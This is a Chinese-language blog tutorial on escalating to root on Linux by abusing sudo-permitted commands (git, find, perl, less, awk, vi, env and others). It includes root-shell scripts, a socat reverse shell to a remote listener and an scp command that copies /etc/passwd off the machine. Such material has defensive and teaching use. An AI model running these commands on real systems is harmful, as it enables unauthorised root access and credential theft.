利用sudo进行linux提权

admin 2023年12月6日15:40:18评论40 views字数 2052阅读6分50秒阅读模式

利用sudo进行linux提权

sudo

sudo(super user do)提升一个命令的执行权限,以root权限执行,执行sudo需要输入当前用户的密码。

sudoers文件

/etc/sudoers文件,是sudo权限的配置文件。当用户执行sudo时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限。


sudo susudo bash

如果对普通用户的限制不严格,或者配置权限过大时,就可以通过sudo su切换到root权限。

利用sudo进行linux提权

或者执行sudo bash

利用sudo进行linux提权


git命令提权

当sudo允许执行git命令时,可以利用git提权。

1:
sudo git help config
!/bin/bash

2:
sudo git -p help
!/bin/bash

执行sudo git help config命令进入git帮助文档,输入!/bin/bash回车即可。

利用sudo进行linux提权

利用sudo进行linux提权

sudo git -p help同理。

其他命令

这里添加新用户aaa,并修改sudoers文件,允许部分命令,内容如下。

aaa ALL=(ALL:ALL) /usr/bin/find,/usr/bin/perl,/usr/bin/python3,/usr/bin/less,/usr/bin/awk,/usr/bin/man,/usr/bin/vi

利用sudo进行linux提权

这时aaa用户使用sudo就只能执行配置好的命令,sudo su和sudo bash被禁止执行。

利用sudo进行linux提权

利用find命令提权

exec参数用来指定搜索结果的处理命令,需要以分号结尾,分号在命令行有特殊函数,要用进行转 义。

sudo find / -exec "/bin/bash" ;

利用sudo进行linux提权

利用perl命令提权

e参数用来指定要运行的命令,然后使用linux的exec参数来调用bash。

sudo perl -e '-exec "/bin/bash";'

利用sudo进行linux提权

利用less命令提权

输入sudo less /etc/hosts命令浏览文件内容时,到底部输入!bash后回车,会获得一个root权限的shell。

利用sudo进行linux提权

利用sudo进行linux提权

利用awk命令提权

通过调用linux的system函数来打开bash。

sudo awk 'BEGIN {system("/bin/bash")}'

利用sudo进行linux提权

利用man命令提权

通过sudo man man命令来打开man的使用手册,同时会进入编辑行,输入!bash回车,可获取root权限。

利用sudo进行linux提权

利用sudo进行linux提权

通过vi命令提权

sudo vi会进入vi默认页,输入:!bash回车,可进入root命令行。

利用sudo进行linux提权

利用sudo进行linux提权

利用脚本提权

如果sudoers定义了某个可执行脚本,我们就可以把返回shell的代码添加进去。

例如桌面有个运维需要的aaa.sh文件,我们添加一段打开bash的代码,sudo运行即可。

利用sudo进行linux提权

参考代码如下:

#! /bin/bash    # aaa.sh
/bin/bash

————————————————————————————————————————

#! /usr/bin/python    # aaa.py
import os
os.system("/bin/bash")

————————————————————————————————————————

#include<stdio.h>    # aaa.c
#include<unistd.h>
#include<sys/types.h>

int main()
{
    setuid(geteuid())
    system("/bin/bash");
    return 0;
}

利用sudo进行linux提权

应用程序

一些应用程序也可以提权,如env、ftp、socat、scp等。

利用sudo进行linux提权

env

通过env环境变量来获取root权限。

sudo env /bin/bash

利用sudo进行linux提权

ftp

通过ftp来进入bash获取root权限。

sudo ftp

利用sudo进行linux提权

socat

通过socat客户端连接服务端,服务端可获得rootshell。先执行服务端,后执行客户端。

服务端执行:
socat file:`tty`,raw,echo=0 tcp-listen:4444

客户端执行:
sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.23.128:4444

服务端执行。

利用sudo进行linux提权

客户端执行。

利用sudo进行linux提权

这时Kali会返回一个客户端的rootshell。

利用sudo进行linux提权

scp

scp是一个安全复制文件的命令,它无法获取一个shell,但可以用来复制一些系统的敏感文件。例如etc/passwd、etc/shadow等。

如下命令,将passwd文件传输到指定机器的root/桌面下,然后再对密码进行破解等操作。

sudo scp /etc/passwd [email protected]:/root/桌面

利用sudo进行linux提权

黑名单情况

如果碰到sudoers文件使用黑名单的情况,比如说权限禁用sudo使用find命令,但是都是在ALL基础上设置的,那么可以cp把find复制到其它目录运行。

利用sudo进行linux提权

总结

愿大家健康开心。


原文始发于微信公众号(AlertSec):利用sudo进行linux提权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月6日15:40:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用sudo进行linux提权http://cn-sec.com/archives/2272935.html

发表评论

匿名网友 填写信息